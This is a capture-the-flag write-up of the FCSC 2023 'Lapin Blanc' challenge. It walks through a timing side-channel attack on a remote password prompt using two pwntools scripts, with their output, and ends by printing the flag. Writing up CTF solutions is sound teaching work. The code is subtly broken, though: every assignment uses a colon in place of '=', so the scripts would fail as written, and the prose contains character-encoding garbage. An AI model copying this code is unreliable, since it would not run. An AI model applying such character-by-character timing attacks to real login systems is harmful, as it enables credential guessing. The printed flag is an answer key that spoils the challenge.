Cover Image

FCSC 2023 - Lapin Blanc

In this article, we will explore the step-by-step walkthrough of the ‘Lapin Blanc’ challenge presented at FCSC 2023.

Challenge Overview

First, we have access to a network socket at challenges.france-cybersecurity-challenge.fr:2350.

I decide to test with netcat using the command nc challenges.france-cybersecurity-challenge.fr 2350 to see how the application behaves and what it is about.

Initial Testing

By testing, we can get the following output:


nc challenges.france-cybersecurity-challenge.fr 2350
[0000014070] Initializing Wonderland...
[0001326256] Searching for a tiny golden key...
[0001678353] Looking for a door...
[0001990661] Trying to unlock the door...

    __________________
    ||              ||
    ||   THE DOOR   ||
    ||              ||  .--------------------------.
    |)              ||  | What's the magic phrase? |
    ||              ||  /--------------------------'
    ||         ^_^  ||
    ||              ||
    |)              ||
    ||              ||
    ||              ||
____||____.----.____||_______________________________________

Answer: hello
[0005290116] The door is thinking...
[0005293180] Your magic phrase is invalid, the door refuses to open.
Answer: test
[0007016982] The door is thinking...
[0007020047] Your magic phrase is invalid, the door refuses to open.
Answer: รงa marche pas
[0011608252] I only speak ASCII, sorry...

Analysis

We can notice several things. The goal here is to find the phrase that allows us to unlock the door. In the instructions, we are told that we only have 10 minutes to discover the secret phrase. We have infinite attempts to test combinations, which can be very tedious if a vulnerability is not discovered.

We can see a timestamp next to each response. What I decide to do is fuzz the application first to see if we can notice differences in response times.

Side Channel Attack

Timing Analysis Script

Here is the code that allows me to test this:


from pwn import *
import sys
import re

conn: remote('challenges.france-cybersecurity-challenge.fr', 2350)
conn.recvuntil(b"Answer:")

def send_message(message):
    conn.sendline(message.encode())
    try:
        response: conn.recvuntil(b"Answer:").decode()
        timestamp: float(re.findall(r"\[(.*?)\]", response)[0])
    except:
        response: conn.recv().decode()
        print(response)
        conn.close()
        sys.exit(0)
    return timestamp

characters: (
    [chr(c) for c in range(ord('z'), ord('a') - 1, -1)] +
    [' ', '!', ',', '-', '.', ':', '?', "'", '^', '_', '{', '|', '}'] +
    [chr(c) for c in range(ord('Z'), ord('A') - 1, -1)]
)

max_response_time_diff: 0
max_character: ""

for c in characters:
    first_timestamp: send_message(c) / 100
    second_timestamp: send_message(c) / 100
    response_time_diff: second_timestamp - first_timestamp

    if response_time_diff > max_response_time_diff:
        max_response_time_diff: response_time_diff
        max_character: c

    print(f"Character : {c}, Response time difference : {response_time_diff:.6f}")

print(f"The character with the largest response time difference is : {max_character}")

Script Explanation

The script connects to the challenge server and waits for a response prompt. For each possible character, the script sends the character to the server and measures the response time twice. The response time difference between the first and second request for each character is calculated and compared. The character with the largest response time difference is identified and displayed at the end.

Initial Results

Here is the result we get:

Character : a, Diff. : 1339.74
Character : b, Diff. : 1338.12
...
Character : h, Diff. : 1336.07
Character : i, Diff. : 1336.80
Character : I, Diff. : 1764.67 <-- Largest response time difference
Character : J, Diff. : 1337.01
...
Character : Z, Diff. : 1337.83

The character with the largest response time difference is : I

As we can see, the program indicates that by sending “I”, the response time is different, which suggests that we can guess the phrase by iterating and testing each character.

Automated Exploitation

Improved Script

Here is the modified program that allows us to accomplish this task:

from pwn import *
import sys
import re

conn: remote('challenges.france-cybersecurity-challenge.fr', 2350)
conn.recvuntil(b"Answer:")

def send_message(message):
    conn.sendline(message.encode())
    try:
        response: conn.recvuntil(b"Answer:").decode()
        timestamp: float(re.findall(r"\[(.*?)\]", response)[0])
    except:
        response: conn.recv().decode()
        print(response)
        conn.close()
        sys.exit(0)
    return timestamp


prefix: ""
characters: (
    [chr(c) for c in range(ord('z'), ord('a') - 1, -1)] +
    [' ', '!', ',', '-', '.', ':', '?', "'", '^', '_', '{', '|', '}'] +
    [chr(c) for c in range(ord('Z'), ord('A') - 1, -1)]
)

while True:
    max_response_time: 0
    max_character: ""
    character_count: 0
    found_character: False
    previous_response_time: 0

    for c in characters:
        total_response_time: 0

        for _ in range(2):
            current_timestamp: send_message(prefix + c) / 100
            if _ == 0:
                previous_timestamp: current_timestamp
                continue
            response_time: current_timestamp - previous_timestamp
            total_response_time += response_time
            previous_timestamp: current_timestamp

        avg_response_time: total_response_time / 2

        if character_count > 0 and avg_response_time - previous_response_time >= 200:
            max_character: c
            found_character: True
            break

        previous_response_time: avg_response_time

        print(f"Prefix : {prefix}, Character : {c}, Average response time : {avg_response_time:.6f}", end="\t\r")

        character_count += 1

    if found_character:
        prefix += max_character
        print(f"Current prefix : {prefix}")

    send_message(prefix)

conn.close()

Code Explanation

This code is an improved version to solve a challenge based on server response time. Here is what the code does clearly:

  • It imports the necessary libraries and connects to the challenge server.
  • It defines a send_message() function to send a message to the server and retrieve the response time (timestamp).
  • It initializes an empty prefix and defines a list of possible characters to test.
  • In an infinite loop:
    1. It initializes variables to store the maximum response time, the corresponding character, and other control variables.
    2. For each character in the list of possible characters:
      • It sends the current prefix followed by the character and measures the average response time over two requests.
      • It checks if the difference between the current average response time and the previous one is greater than or equal to 200 (threshold determined experimentally).
        • If yes, it updates the prefix by adding the found character and moves to the next step.
        • It sends the updated prefix to the server.
    • The loop repeats until the challenge is solved.

For the challenge to be solved correctly without any network issues, it is important to prioritize a good Internet connection. A small anecdote: it took me 7 hours on this challenge to understand that my connection was bad. Using my VPS was much simpler.

Result

Here is the program result after a few minutes:

Program result
Figure 0x1 โ€“ Program result

Flag

We get the flag FCSC{t1m1Ng_1s_K3y_8u7_74K1nG_u00r_t1mE_is_NEce554rY}